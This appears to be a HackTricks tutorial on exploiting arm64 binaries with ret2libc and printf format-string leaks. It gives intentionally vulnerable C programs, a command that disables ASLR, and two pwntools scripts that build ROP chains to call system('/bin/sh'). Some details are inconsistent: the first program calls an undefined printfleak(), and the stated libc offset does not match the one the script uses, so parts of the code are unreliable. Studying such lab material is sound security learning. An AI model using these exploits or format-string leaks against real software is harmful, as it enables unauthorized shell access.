Skip to content

Ret2lib + Printf leak - arm64 โ€‹

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Ret2lib - NX bypass with ROP (no ASLR) โ€‹

c
#include <stdio.h>

void bof()
{
    char buf[100];
    printf("\nbof>\n");
    fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
    printfleak();
    bof();
}

Compile without canary:

bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Find offset โ€‹

x30 offset โ€‹

Creating a pattern with pattern create 200, using it, and checking for the offset with pattern search $x30 we can see that the offset is 108 (0x6c).

Taking a look to the dissembled main function we can see that we would like to jump to the instruction to jump to printf directly, whose offset from where the binary is loaded is 0x860:

Find system and /bin/sh string โ€‹

As the ASLR is disabled, the addresses are going to be always the same:

Find Gadgets โ€‹

We need to have in x0 the address to the string /bin/sh and call system.

Using rooper an interesting gadget was found:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

This gadget will load x0 from $sp + 0x18 and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.

Exploit โ€‹

python
from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
    p.recv()
    p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack โ€‹

c
#include <stdio.h>

void printfleak()
{
    char buf[100];
    printf("\nPrintf>\n");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
}

void bof()
{
    char buf[100];
    printf("\nbof>\n");
    fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
    printfleak();
    bof();
}

Compile without canary:

bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE and ASLR but no canary โ€‹

  • Round 1:
    • Leak of PIE from stack
    • Abuse bof to go back to main
  • Round 2:
    • Leak of libc from the stack
    • ROP: ret2system

Printf leaks โ€‹

Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:

Trying different offsets, the %21$p can leak a binary address (PIE bypass) and %25$p can leak a libc address:

Subtracting the libc leaked address with the base address of libc, it's possible to see that the offset of the leaked address from the base is 0x49c40.

x30 offset โ€‹

See the previous example as the bof is the same.

Find Gadgets โ€‹

Like in the previous example, we need to have in x0 the address to the string /bin/sh and call system.

Using rooper another interesting gadget was found:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

This gadget will load x0 from $sp + 0x78 and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.

Exploit โ€‹

python
from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
    p.sendlineafter(b">\n" ,payload)
    response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
    if is_main_addr:
        response = response[:-4] + b"0000"
    return int(response, 16)

def expl_bof(payload):
    p.recv()
    p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset) 
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: